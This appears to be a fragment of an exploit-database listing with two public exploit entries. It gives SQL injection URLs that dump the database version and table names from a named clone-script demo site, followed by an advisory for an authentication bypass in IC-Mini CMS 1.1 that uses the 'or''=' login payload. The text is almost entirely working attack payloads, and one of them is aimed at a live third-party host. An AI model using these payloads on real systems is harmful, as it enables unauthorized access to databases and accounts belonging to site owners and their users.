# E.t.c....
# # # # #
SQL Injection
http://alibaba.clonescriptsoft.com/category.php?IndustryID=-1+union+select+1,2,version()
http://alibaba.clonescriptsoft.com/category.php?IndustryID=-1+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--
# # # # #
# Exploit Title: IC-Mini CMS Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/mini_cms.htm
# Demo: http://www.icloudcenter.net/demos/mini_cms/
# Version: 1.1
# Tested on: Win7 x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]//index.php?page=login and set Username and Password to 'or''=' and hit enter.
# # # # #